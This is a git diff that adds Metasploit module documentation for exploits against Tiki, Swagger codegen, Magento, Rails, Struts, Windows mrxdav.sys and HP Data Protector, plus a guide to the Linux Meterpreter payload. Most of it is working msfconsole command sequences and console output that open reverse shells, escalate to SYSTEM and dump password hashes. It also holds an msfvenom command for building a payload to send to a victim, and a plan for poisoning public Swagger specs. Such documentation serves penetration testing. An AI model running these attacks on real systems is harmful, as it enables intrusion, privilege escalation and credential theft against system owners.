|
||||
## Verification Steps
|
||||
|
||||
1. Install the software as documented above
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/tiki_calendar_exec`
|
||||
4. Do: `set rhost 10.10.10.10`
|
||||
5. (optional, if not set, set username to empty) Do: `set PASSWORD admin`
|
||||
6. Do: `set payload php/bind_perl`
|
||||
7. Do: `set verbose true`
|
||||
8. Do: `check`
|
||||
|
||||
```
|
||||
[*] Attempting Login
|
||||
[+] Login Successful!
|
||||
[+] 10.10.10.10:80 The target is vulnerable.
|
||||
```
|
||||
|
||||
9. Do: `exploit`
|
||||
10. You should get a shell
|
||||
|
||||
```
|
||||
[*] Started reverse TCP handler on 10.10.10.10:4444
|
||||
[*] Attempting Login
|
||||
[+] Login Successful!
|
||||
[*] Sending malicious calendar view packet
|
||||
[*] Sending stage (33721 bytes) 10.10.10.10.190
|
||||
[*] Meterpreter session 1 opened (10.10.10.10:4444 -> 192.168.2.190:48188) at 2016-06-19 08:50:44 -0400
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
**PASSWORD**
|
||||
|
||||
Password is set at first login. Default for admin is 'admin'.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Example running against unauthenticated calendar v14.1
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/tiki_calendar_exec
|
||||
msf exploit(tiki_calendar_exec) > set rhost 192.168.2.190
|
||||
rhost => 192.168.2.190
|
||||
msf exploit(tiki_calendar_exec) > set targeturi /t14_1/
|
||||
targeturi => /t14_1/
|
||||
msf exploit(tiki_calendar_exec) > set payload php/meterpreter/reverse_tcp
|
||||
payload => php/meterpreter/reverse_tcp
|
||||
msf exploit(tiki_calendar_exec) > set lhost 192.168.2.229
|
||||
lhost => 192.168.2.229
|
||||
msf exploit(tiki_calendar_exec) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(tiki_calendar_exec) > set username ''
|
||||
username =>
|
||||
msf exploit(tiki_calendar_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.2.229:4444
|
||||
[*] Sending malicious calendar view packet
|
||||
[*] Sending stage (33721 bytes) to 192.168.2.190
|
||||
[*] Meterpreter session 1 opened (192.168.2.229:4444 -> 192.168.2.190:48172) at 2016-06-18 10:58:19 -0400
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : tikiwiki
|
||||
OS : Linux tikiwiki 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64
|
||||
Meterpreter : php/php
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,119 @@
|
||||
The [Swagger CodeGen parameter injector module](../../../../../modules/exploits/multi/fileformat/swagger_param_inject.rb) generates a Swagger JSON file with embedded Metasploit payloads.
|
||||
|
||||
In the typical case, a Swagger document defines an API. Swagger can be automatically consumed to generate client/server code, testing and scaffolding in APIs by companies eager to provide value to the increasing need for scalable API deployment and testing.
|
||||
|
||||
Currently, this module supports 4 languages for delivery: NodeJS, PHP, Ruby, and Java. These are specified by the PAYLOAD set for the exploit module.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
All exploits assume a bind or reverse-tcp callback handler, with preference on reverse-tcp.
|
||||
|
||||
1. Start msfconsole
|
||||
2. Start a callback handler listening for a the appropriate payload (e.g.)
|
||||
|
||||
```
|
||||
use exploit/multi/handler
|
||||
set PAYLOAD nodejs/shell_reverse_tcp
|
||||
|
||||
set LHOST 192.168.68.138
|
||||
set LPORT 4444
|
||||
|
||||
run
|
||||
```
|
||||
3. Pick a target
|
||||
|
||||
## Targets
|
||||
|
||||
**NodeJS**
|
||||
|
||||
This attack injects a payload into javascript by terminating a URL path string.
|
||||
|
||||
|
||||
```
|
||||
|
||||
use exploit/multi/fileformat/swagger_param_inject
|
||||
set TARGET 0
|
||||
set PAYLOAD nodejs/shell_reverse_tcp
|
||||
set INFO_VERSION "1.0.0"
|
||||
set SWAGGER_HOST "localhost"
|
||||
run
|
||||
```
|
||||
|
||||
**PHP**
|
||||
|
||||
This attack injects a payload into PHP multiline comment area.
|
||||
|
||||
|
||||
```
|
||||
|
||||
use exploit/multi/fileformat/swagger_param_inject
|
||||
set TARGET 1
|
||||
set PAYLOAD php/meterpreter/reverse_tcp
|
||||
set SWAGGER_HOST "localhost"
|
||||
run
|
||||
```
|
||||
|
||||
**ruby**
|
||||
|
||||
This attack injects a payload into ruby multiline comment area.
|
||||
|
||||
|
||||
```
|
||||
|
||||
use exploit/multi/fileformat/swagger_param_inject
|
||||
set TARGET 3
|
||||
set PAYLOAD ruby/shell_reverse_tcp
|
||||
set SWAGGER_HOST "localhost"
|
||||
run
|
||||
```
|
||||
|
||||
**Java**
|
||||
|
||||
This attack injects a payload into Java by terminating a URL path string.
|
||||
|
||||
|
||||
```
|
||||
|
||||
use exploit/multi/fileformat/swagger_param_inject
|
||||
set TARGET 2
|
||||
set PAYLOAD java/jsp_shell_reverse_tcp
|
||||
set SWAGGER_HOST "localhost"
|
||||
run
|
||||
```
|
||||
|
||||
## Quick Test
|
||||
|
||||
Use the online [editor.swagger.io](http://editor.swagger.io) to upload your swagger document, and generate pre-built code bases from the document. The swagger editor leverages [generator.swagger.io](http://generator.swagger.io) to build these clients & servers automatically from the document, and published downloadable artifacts of these code bases.
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
Effective against services with either these dependencies
|
||||
|
||||
* [swagger-codegen](https://github.com/swagger-api/swagger-codegen)
|
||||
* public API [generator.swagger.io](http://generator.swagger.io/)
|
||||
* public docker container [swagger-generator/](https://hub.docker.com/r/swaggerapi/swagger-generator/)
|
||||
* [swagger-test-templates](https://github.com/apigee-127/swagger-test-templates)
|
||||
|
||||
**Possible Attack approach.**
|
||||
|
||||
1. Research the target environment and component dependencies.
|
||||
2. Setup appropriate payload callback listener.
|
||||
3. generate the appropriate swagger document with associated MS payload (see above for examples)
|
||||
|
||||
|
||||
**Against a webservice (2nd order attack / blind code-gen)**
|
||||
|
||||
*Who knows what insecurely configured code-gen Docker containers hosted in data compute or API broker cluster could do if given the chance...*
|
||||
|
||||
4. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition.
|
||||
5. Wait for callback handler event.
|
||||
|
||||
**Against a code repository or public hosting of spec**
|
||||
|
||||
*People and Robots trust swagger to build clients, servers, mocks, and more. Publicly hosted specs should be verified as to not corrupt automatic code generation.*
|
||||
|
||||
4. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition.
|
||||
5. Wait for callback handler event.
|
||||
|
||||
@@ -0,0 +1,105 @@
|
||||
Magento is a popular open-source e-commerce platform written in PHP. An unserialization
|
||||
vulnerability exists in the product that allows an unauthenticated user to gain arbitrary
|
||||
code execution.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Magento Community and Enterprise editions before 2.0.6 are affected. The magento_unserialize module
|
||||
was specifically tested against version 2.0.6, on Ubuntu 14.04 and Debian.
|
||||
|
||||
For testing purposes, you can download the vulnerable applications [here](https://www.exploit-db.com/apps/d34a83e80f927d7336cc8ef37a9867f4-magento2-2.0.5.tar.gz).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
To set up a vulnerable version of Magento, please follow these steps. This is specific to
|
||||
Ubuntu 14, and assumes you are installing Magento under /var/www/html/.
|
||||
|
||||
1. Set up a [Ubuntu](http://www.ubuntu.com/) box.
|
||||
2. Open a terminal, and enter: ```sudo apt-get install apache2```
|
||||
3. Enter: ```sudo apt-get install php5```
|
||||
4. Enter: ```sudo a2enmod rewrite```
|
||||
5. Add the following content to /etc/apache2/sites-enabled/000-default.conf, inside the virtual block:
|
||||
|
||||
```
|
||||
<Directory /var/www/html>
|
||||
Options Indexes FollowSymLinks MultiViews
|
||||
AllowOverride All
|
||||
Order allow,deny
|
||||
allow from all
|
||||
</Directory>
|
||||
```
|
||||
|
||||
6. Download the [vulnerable Magento app](https://www.exploit-db.com/apps/d34a83e80f927d7336cc8ef37a9867f4-magento2-2.0.5.tar.gz)
|
||||
7. Extract the compressed file: ```tar -xf magento2-2.0.5.tar.gz```
|
||||
8. Move the files and directories of magento2-2.0.5 to /var/www/html/ (make sure .htaccess is copied too)
|
||||
9. In terminal, enter: ```sudo chmod 644 /var/www/html/.htaccess```
|
||||
10. Enter: ```sudo service apache2 restart```
|
||||
11. Enter: ```sudo apt-get install mysql-server-5.6```. And follow the installation instructions of MySQL.
|
||||
12. Enter: ```sudo apt-get install php5-mysql```
|
||||
13. Enter: ```sudo apt-get install php5-mcrypt```
|
||||
14. Enter: ```sudo php5enmod mcrypt```
|
||||
15. Enter: ```sudo apt-get install php5-xsl php5-curl php5-intl```
|
||||
16. Enter: ```sudo service apache2 restart```
|
||||
17. cd to /var/www/html, enter: ```sudo mkdir tmp```, and cd to tmp
|
||||
18. In tmp, do: ```curl -sS https://getcomposer.org/installer | php```
|
||||
19. Enter: ```sudo mv composer /usr/local/bin/composer```
|
||||
20. In /var/www/html, do: ```composer install```
|
||||
21. You will be asked for a username (public key) and password (private key). You can register
|
||||
for one here: https://marketplace.magento.com/
|
||||
22. Back to terminal, enter: ```mysql -h localhost -u root -p[password]```
|
||||
23. In mysql, enter: ```create database magento```, and exit
|
||||
24. Go to http://localhost with a browser, and install Magento through the web interface.
|
||||
25. After installation, back to Magento directory, and enter: ```sudo rm -rf var/cache/*```
|
||||
26. Enter: ```sudo rm -rf var/generation/*```
|
||||
27. Enter: ```sudo rm -rf var/page_cache/*```
|
||||
28. cd to /var/www/html/bin
|
||||
29. Enter: ```sudo php magento deploy:mode:set developer```. It should say that you're in developer mode.
|
||||
30. Enter: ```sudo php magento setup:static-content:deploy```
|
||||
31. Enter: ```sudo php magento indexer:reindex```
|
||||
32. Enter: ```sudo chmod -R 777 /var/www/html```
|
||||
33. Go to http://localhost, you should see Magento up and running.
|
||||
34. From Magento, log in as admin, and create a product. After creating one, make sure this product
|
||||
is:
|
||||
* Either includes a shipping address, or does not have a weight.
|
||||
* Searchable from the front-end.
|
||||
|
||||
If at some point the IP (base URL) of Magento has changed, then you will need to do these steps to update:
|
||||
|
||||
1. From the terminal, do: ```mysql -h localhost -u [username] -p[password]```
|
||||
2. In the SQL prompt, do: ```use [magento database name]```
|
||||
3. Do: ```select * from core_config_data;```, you should see both web/unsecure/base_url (config ID 2) and web/secure/base_url (config ID 3) with the hardcoded IP.
|
||||
4. Do: ```update core_config_data set value='http://[IP]/' where config_id=2;```
|
||||
5. Do: ```update core_config_data set value='https://[IP]/' where config_id=3;```
|
||||
6. Back to the Magento directory, do: ```sudo rm -rf var/cache/*```
|
||||
7. Also do: ```sudo rm -rf var/generation/*```
|
||||
8. Also do: ```sudo rm -rf var/page_cache/*```
|
||||
9. Browse to Magento again with the new IP, it should be up and running again.
|
||||
|
||||
|
||||
After setting up Magento, you can use your exploit module:
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```exploit/multi/http/magento_unserialize```
|
||||
3. Do: ```set RHOST [IP]```
|
||||
4. Do: ```set PAYLOAD php/meterpreter/reverse_tcp```
|
||||
5. Do: ```set LHOST [IP]```
|
||||
6. Do: ```exploit```
|
||||
7. And you should get a session
|
||||
|
||||
## Demonstration
|
||||
|
||||
```
|
||||
msf exploit(magento_unserialize) > check
|
||||
[*] 192.168.1.108:80 The target appears to be vulnerable.
|
||||
msf exploit(magento_unserialize) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.94:4444
|
||||
[+] 192.168.1.108:80 - generated a guest cart id
|
||||
[+] 192.168.1.108:80 - backdoor done!
|
||||
[*] Sending stage (33721 bytes) to 192.168.1.108
|
||||
[*] Meterpreter session 6 opened (192.168.1.94:4444 -> 192.168.1.108:46835) at 2016-06-02 17:09:34 -0500
|
||||
[+] 192.168.1.108:80 - Deleted lP5UgbUBLm1sWN25gWfZBqYKms.php
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,43 @@
|
||||
rails_actionpack_inine_exec is a module that exploits the render method in Action Pack.
|
||||
Applications that pass unverified user input to the ```render``` method in a controller
|
||||
or view may be vulnerable to code injection.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Action Pack versions prior to 3.2.22.2, 4.1.14.2, and 4.2.5.2 use unsafe dynamic rendering.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Assuming you have the right requirements to run a rails server, you can use the following fork
|
||||
to set up the vulnerable server for testing:
|
||||
|
||||
1. Do: ```git clone https://github.com/wchen-r7/dh-CVE_2016_2098.git```
|
||||
2. Do: ```bundle install```
|
||||
3. Do: ```rails -s -b 0.0.0.0```
|
||||
4. Start msfconsole
|
||||
5. Do: ```use exploit/multi/http/rails_actionpack_inline_exec```
|
||||
6. Do: ```set RHOST [rails server IP]```
|
||||
7. Do: ```set RPORT 3000```. 3000 is the default port for the rails server.
|
||||
8. Do: ```set targeturi /exploits```
|
||||
9. Configure the rest of the options (for the modules or the payload)
|
||||
10. Do: ```exploit```, and you should get a session:
|
||||
|
||||
```
|
||||
msf exploit(rails_actionpack_inline_exec) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.146.1:4444
|
||||
[*] Sending inline code to parameter: id
|
||||
[*] Command shell session 1 opened (192.168.146.1:4444 -> 192.168.146.161:56661) at 2016-07-07 15:56:00 -0500
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
To use this module, you must manually discover the correct values for these datastore options:
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
The path to a vulnerable Ruby on Rails application.
|
||||
|
||||
**TARGETPARAM**
|
||||
|
||||
The target parameter to inject with inline code.
|
||||
@@ -15,8 +15,8 @@ For testing purposes, here is how you would set up the vulnerable machine:
|
||||
4. Install Java first. Make sure you have the JAVA_HOME environment variable.
|
||||
5. Extract Apache Tomcat.
|
||||
6. In conf directory of Apache Tomcat, open the tomcat-users.xml file with a text editor.
|
||||
7. In tomcat-users.xml, add this role: ```<role rolename="manager-gui"/>```
|
||||
8. In tomcat-users.xml, add this role to user tomcat: ```<user username="tomcat" password="tomcat" roles="tomcat,manager-gui"/>```
|
||||
7. In tomcat-users.xml, add the ```manager-gui``` role
|
||||
8. In tomcat-users.xml, add the ```manager-gui``` role to a user.
|
||||
9. Remove other users.
|
||||
10. In a terminal or command prompt, ```cd``` to the bin directory, and run: ```catalina.bat run``` (or catalina.sh). You should have Apache Tomcat running on port 8080.
|
||||
11. Extract the vulnerable struts app: ```tar -xf struts2-blank.tar.gz```
|
||||
|
||||
@@ -0,0 +1,56 @@
|
||||
struts_dmi_rest_exec is a module that exploits Apache Struts's REST plugin with Dynamic Method
|
||||
Invocation, and it supports Windows and Linux platforms.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Apache Struts versions between 2.3.20 and 2.3.28 are vulnerable, except 2.3.20.2 and 2.3.24.2.
|
||||
The application's struts.xml also needs set ```struts.enable.DynamicMethodInvocation``` to true,
|
||||
and ```struts.devMode``` to false.
|
||||
|
||||
For testing purposes, here is how you would set up the vulnerable machine:
|
||||
|
||||
1. Download Apache Tomcat
|
||||
2. Download Java. [Choose an appropriate version](http://tomcat.apache.org/whichversion.html) based on the Apache Tomcat version you downloaded.
|
||||
3. Download the vulnerable [Apache Struts application](https://github.com/rapid7/metasploit-framework/files/300762/struts2-rest-showcase.tar.gz).
|
||||
4. Install Java first. Make sure you have the JAVA_HOME environment variable.
|
||||
5. Extract Apache Tomcat.
|
||||
6. In conf directory of Apache Tomcat, open the tomcat-users.xml file with a text editor.
|
||||
7. In tomcat-users.xml, add the ```manager-gui``` role.
|
||||
8. In tomcat-users.xml, add the ```manager-gui``` role to a user.
|
||||
9. Remove other users.
|
||||
10. In a terminal or command prompt, ```cd``` to the bin directory, and run: ```catalina.bat run``` (or catalina.sh). You should have Apache Tomcat running on port 8080.
|
||||
11. Extract the vulnerable struts app: ```tar -xf struts2-rest-showcase.tar.gz```
|
||||
12. Navigate to the Apache Tomcat server with a browser on port 8080.
|
||||
13. Click on Manager App
|
||||
14. In the WAR file to deploy section, deploy struts2-rest-showcase.war
|
||||
15. Stop struts2-blank in the manager app.
|
||||
16. On the server, ```cd``` to ```apache-tomcat-[version]/webapps/struts2-rest-showcase/WEB-INF/classes```, open struts.xml with a text editor.
|
||||
17. In the XML file, make sure ```struts.enable.DynamicMethodInvocation``` is true
|
||||
18. In the XML file, make sure ```struts.devMode``` is false.
|
||||
19. Back to Apache Tomcat's manager app. Start the struts2-rest-showcase again.
|
||||
|
||||
And now you have a vulnerable server.
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**TMPPATH**
|
||||
|
||||
By default, the struts_dmi_rest_exec exploit should be ready to go without much configuration. However,
|
||||
in case you need to change where the payload should be uploaded to, make sure to set the correct
|
||||
target, and then change the TMPPATH datastore option.
|
||||
|
||||
## Scenarios
|
||||
|
||||
struts_dmi_rest_exec supports three platforms: Windows, Linux, and Java. By default, it uses Java,
|
||||
so you don't need to worry about configuring this. Running the module can be as simple as the usage
|
||||
explained in the Overview section.
|
||||
|
||||
However, native payload do have their benefits (for example: Windows Meterpreter has better
|
||||
support than Java), so if you decide to switch to a different platform, here is what you do:
|
||||
|
||||
1. Do ```show targets```, and see which one you should be using
|
||||
2. Do ```set target [id]```
|
||||
3. Do ```show payloads```, which shows you a list of compatible payloads for that target.
|
||||
4. Do: ```set payload [payload name]```
|
||||
5. Do: ```exploit```
|
||||
@@ -0,0 +1,37 @@
|
||||
## Intro
|
||||
|
||||
This module exploits a null pointer dereference vulnerability present in the mrxdav.sys kernel driver on Windows 7 x86. The vulnerability is described by MS16-016 and CVE-2016-0051. The module allows the user to spawn a new payload, such as meterpreter, on the target system with elevated privileges (NT AUTHORITY\SYSTEM)
|
||||
|
||||
## Usage
|
||||
|
||||
You'll first need to obtain a session on the target system. Next, once the module is loaded, one simply needs to set the ```payload``` and ```session``` options. From here, running the module will result in the payload being executed with system level privileges.
|
||||
|
||||
An example session follows:
|
||||
|
||||
|
||||
```
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 5...
|
||||
msf exploit(handler) > use exploits/windows/local/ms16_016_webdav
|
||||
msf exploit(ms16_016_webdav) > set session 5
|
||||
session => 5
|
||||
msf exploit(ms16_016_webdav) > set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
msf exploit(ms16_016_webdav) > set lport 4567
|
||||
lport => 4567
|
||||
msf exploit(ms16_016_webdav) > set lhost 192.168.1.203
|
||||
lhost => 192.168.1.203
|
||||
msf exploit(ms16_016_webdav) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.203:4567
|
||||
[*] Launching notepad to host the exploit...
|
||||
[+] Process 3204 launched.
|
||||
[*] Reflectively injecting the exploit DLL into 3204...
|
||||
[*] Exploit injected ... injecting payload into 3204...
|
||||
[*] Sending stage (957999 bytes) to 192.168.1.221
|
||||
[*] Done. Verify privileges manually or use 'getuid' if using meterpreter to verify exploitation.
|
||||
[*] Meterpreter session 12 opened (192.168.1.203:4567 -> 192.168.1.221:49266) at 2016-07-05 22:07:34 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
```
|
||||
@@ -0,0 +1,75 @@
|
||||
HP Data Protector is an automated backup and recovery software for single-server to enterprise
|
||||
environments. It provides cross-platform, online backup of data for Microsoft Windows, Unix,
|
||||
and Linux operating systems.
|
||||
|
||||
While the server is using Encrypted Control Communication, HP Data Protector allows a remote
|
||||
attacker to gain access without authentication, and gain arbitrary code execution under the
|
||||
context of SYSTEM.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
HP Data Protector versions 7, 8, and 9 are known to be affected.
|
||||
|
||||
hp_dataprotector_encrypted_comms was specifically tested against version 9.0.0 on Windows 2008.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
**Installing HP Data Protector**
|
||||
|
||||
Before installing HP Data Protector, a Windows domain controller is needed. This exploit was tested
|
||||
against [a Windows Server 2008 R2 SP1 domain controller](https://www.youtube.com/watch?v=Buj9oEgbRt8).
|
||||
|
||||
After setting up the domain controller, double-click on the HP Data Protector installer, and you
|
||||
should see this screen:
|
||||
|
||||

|
||||
|
||||
Click on **Install Data Protector**. And then the installer should ask you which installation type:
|
||||
|
||||

|
||||
|
||||
Make sure to select **Cell Manager**, and click **Next**. Use all default settings.
|
||||
|
||||
**Enabling Encrypted Communication**
|
||||
|
||||
After the Setup Wizard is finished, we need to enable encrypted communication. First, open the
|
||||
Data Protector GUI:
|
||||
|
||||

|
||||
|
||||
Click on **Clients**, and the local client from the tree. You should see the **Connection** tab on the
|
||||
right, click on that.
|
||||
|
||||

|
||||
|
||||
Under the Connection tab, there should be an **Encrypted control communication** checkbox, make
|
||||
sure that is checked. And then click **Apply**
|
||||
|
||||
**Using hp_dataprotector_encrypted_comms**
|
||||
|
||||
After the encrypted communication is enabled, you are ready to use
|
||||
hp_dataprotector_encrypted_comms. Here is what you do:
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use exploit/windows/misc/hp_dataprotector_encrypted_comms```
|
||||
3. Do: ```set RHOST [IP ADDRESS]```
|
||||
4. Do: ```set PAYLOAD [PAYLOAD NAME]```
|
||||
5. Set other options as needed
|
||||
6. Do: ```exploit```, and you should receive a session like the following:
|
||||
|
||||
```
|
||||
msf exploit(hp_dataprotector_encrypted_comms) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.23.1:4444
|
||||
[*] 172.16.23.173:5555 - Initiating connection
|
||||
[*] 172.16.23.173:5555 - Establishing encrypted channel
|
||||
[*] 172.16.23.173:5555 - Sending payload
|
||||
[*] 172.16.23.173:5555 - Waiting for payload execution (this can take up to 30 seconds or so)
|
||||
[*] Sending stage (957999 bytes) to 172.16.23.173
|
||||
[*] Meterpreter session 1 opened (172.16.23.1:4444 -> 172.16.23.173:49304) at 2016-06-06 22:16:54 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
```
|
||||
|
||||
@@ -0,0 +1,318 @@
|
||||
linux/x86/meterpreter/reverse_tcp is the most pouplar payload against the Linux platform. It allows
|
||||
you to remotely take over the compromised system, having control of the file system, collect
|
||||
sensitive information such as credentials using post modules, etc.
|
||||
|
||||
linux/x86/meterpreter/reverse_tcp is also the default payload for most Linux exploits.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
linux/x86/meterpreter/reverse_tcp should work on either 32 or 64-bit Linux platforms.
|
||||
|
||||
## Deploying linux/x86/meterpreter/reverse_tcp
|
||||
|
||||
linux/x86/meterpreter/reverse_tcp can be used in two different ways.
|
||||
|
||||
**As an exploit payload**
|
||||
|
||||
Many Linux exploits support native payloads, but not always. To check this, you can use the ```info```
|
||||
command on the exploit you want to use:
|
||||
|
||||
```
|
||||
msf exploit(lsa_transnames_heap) > info
|
||||
|
||||
Name: Samba lsa_io_trans_names Heap Overflow
|
||||
Module: exploit/linux/samba/lsa_transnames_heap
|
||||
Platform: Linux
|
||||
Privileged: Yes
|
||||
License: Metasploit Framework License (BSD)
|
||||
Rank: Good
|
||||
Disclosed: 2007-05-14
|
||||
...
|
||||
```
|
||||
|
||||
If the platform field includes Linux, then that means you can use linux/x86/meterpreter/reverse_tcp
|
||||
and other Linux payloads.
|
||||
|
||||
Sometimes, you need to select a specific target to be able to use a native Linux payload. To check
|
||||
this, do:
|
||||
|
||||
```
|
||||
show targets
|
||||
```
|
||||
|
||||
If there is a Linux target, use that:
|
||||
|
||||
```
|
||||
set TARGET [index]
|
||||
```
|
||||
|
||||
To actually set the payload:
|
||||
|
||||
1. In msfconsole, load the exploit.
|
||||
2. Do: ```set PAYLOAD linux/x86/meterpreter/reverse_tcp```
|
||||
3. Set the ```LHOST``` option, which is the [IP the payload should connect back to](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-a-reverse-shell-in-Metasploit).
|
||||
4. Run the exploit
|
||||
|
||||
**As a standalone executable**
|
||||
|
||||
To use linux/x86/meterpreter/reverse_tcp as an executable, first you can generate it with msfvenom:
|
||||
|
||||
```
|
||||
./msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f elf -o /tmp/payload.bin
|
||||
```
|
||||
|
||||
Before sending the exectauble to the victim machine, you need to set up the handler on your end:
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use exploit/multi/handler```
|
||||
3. Do: ```set PAYLOAD linux/x86/meterpreter/reverse_tcp```
|
||||
4. Do: ```set LHOST [Your IP]```
|
||||
5. Do: ```run```
|
||||
|
||||
And that should start the listener. When the victim runs the malicious exectauble, you should
|
||||
receive a session:
|
||||
|
||||
```
|
||||
msf exploit(handler) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.23.1:4444
|
||||
[*] Starting the payload handler...
|
||||
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
|
||||
[*] Sending stage (1495599 bytes) to 172.16.23.182
|
||||
[*] Meterpreter session 1 opened (172.16.23.1:4444 -> 172.16.23.182:45009) at 2016-07-06 22:40:35 -0500
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
|
||||
## Important Basic Commands
|
||||
|
||||
Here is a list of some of the common commands you might need while using the Linux Meterpreter:
|
||||
|
||||
**pwd**
|
||||
|
||||
The ```pwd``` command tells you the current working directory. For example:
|
||||
|
||||
```
|
||||
meterpreter > pwd
|
||||
/home/sinn3r/Desktop
|
||||
```
|
||||
|
||||
**cd**
|
||||
|
||||
The cd command allows you to change directories. Example:
|
||||
|
||||
```
|
||||
meterpreter > cd /tmp
|
||||
```
|
||||
|
||||
**cat**
|
||||
|
||||
The cat command allows you to see the content of a file:
|
||||
|
||||
```
|
||||
meterpreter > cat /tmp/data.txt
|
||||
hello world
|
||||
```
|
||||
|
||||
**upload**
|
||||
|
||||
The ```upload``` command allows you to upload a file to the remote target. For example:
|
||||
|
||||
```
|
||||
meterpreter > upload /tmp/data.bin /home/sinn3r/Desktop
|
||||
[*] uploading : /tmp/data.bin -> /home/sinn3r/Desktop
|
||||
[*] uploaded : /tmp/data.bin -> /home/sinn3r/Desktop/data.bin
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
**download**
|
||||
|
||||
The ```download``` command allows you to download a file from the remote target to your machine. For example:
|
||||
|
||||
```
|
||||
meterpreter > download /home/sinn3r/Desktop/data.bin /tmp
|
||||
[*] downloading: /home/sinn3r/Desktop/data.bin -> /tmp/data.bin
|
||||
[*] download : /home/sinn3r/Desktop/data.bin -> /tmp/data.bin
|
||||
```
|
||||
|
||||
**ifconfig/ipconfig**
|
||||
|
||||
```ifconfig``` and ```ipconfig``` are actually the same thing. They allow you to see the network
|
||||
interfaces on the remote machine.
|
||||
|
||||
**getuid**
|
||||
|
||||
The getuid command tells you the current user that Meterpreter is running on. For example:
|
||||
|
||||
```
|
||||
meterpreter > getuid
|
||||
Server username: uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000
|
||||
```
|
||||
|
||||
**execute**
|
||||
|
||||
The ```execute``` command allows you to execute a command or file on the remote machine.
|
||||
For example:
|
||||
|
||||
```
|
||||
meterpreter > execute -f echo -a "hello > /tmp/hello.txt"
|
||||
Process 5292 created.
|
||||
```
|
||||
|
||||
**ps**
|
||||
|
||||
The ```ps``` command lists the running processes on the remote machine.
|
||||
|
||||
**shell**
|
||||
|
||||
The shell command allows you to interact with the remote machine's terminal (or shell). For
|
||||
example:
|
||||
|
||||
```
|
||||
meterpreter > shell
|
||||
Process 5302 created.
|
||||
Channel 6 created.
|
||||
$
|
||||
```
|
||||
|
||||
If you wish to get back to Meterpreter, do [CTRL]+[Z] to background the channel.
|
||||
|
||||
**sysinfo**
|
||||
|
||||
The sysinfo command shows you basic information about the remote machine. Such as:
|
||||
|
||||
* Computer name
|
||||
* OS name
|
||||
* Architecture
|
||||
* Meterpreter type
|
||||
|
||||
For example:
|
||||
|
||||
```
|
||||
meterpreter > sysinfo
|
||||
Computer : sinn3r-virtual-machine
|
||||
OS : Linux sinn3r-virtual-machine 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 (i686)
|
||||
Architecture : i686
|
||||
Meterpreter : x86/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
**Other commands**
|
||||
|
||||
For a complete list of Linux Meterpreter commands, do the following at the prompt:
|
||||
|
||||
```
|
||||
meterpreter > help
|
||||
```
|
||||
|
||||
|
||||
## Using a Post module
|
||||
|
||||
One of the best things about Meterprter is you have access to a variety of post modules that
|
||||
"shell" sessions might not have. Post modules provide you with more capabilities to collect data
|
||||
from the remote machine automatically. For example, stealing credentials from the system or
|
||||
third-party applications, or modify settings, etc.
|
||||
|
||||
To use a post module from the Meterpreter prompt, simply use the ```run``` command. The following
|
||||
is an example of collecting Linux hashes using post/linux/gather/hashdump:
|
||||
|
||||
```
|
||||
meterpreter > run post/linux/gather/hashdump
|
||||
|
||||
[+] root:$6$cq9dV0jD$DZNrPKKIzcJaJ1r1xzdePEJTzn5f2V5lm9CnSdkMRPJfYy7QVx2orpzlf1XXBbIRZs7kT9CmYEMApfUIrWZsj/:0:0:root:/root:/bin/bash
|
||||
[+] sinn3r:$6$S5lRz0Ji$bS0rOko3EVsAXwqR1rNcE/EhpnezmKH08Yioxyz/gLZAGh3AoyV5qCglvHx.vSINJNqs1.xhJix3pWX7jw8n0/:1000:1000:sinn3r,,,:/home/sinn3r:/bin/bash
|
||||
[+] Unshadowed Password File: /Users/wchen/.msf4/loot/20160707112433_http_172.16.23.182_linux.hashes_845236.txt
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
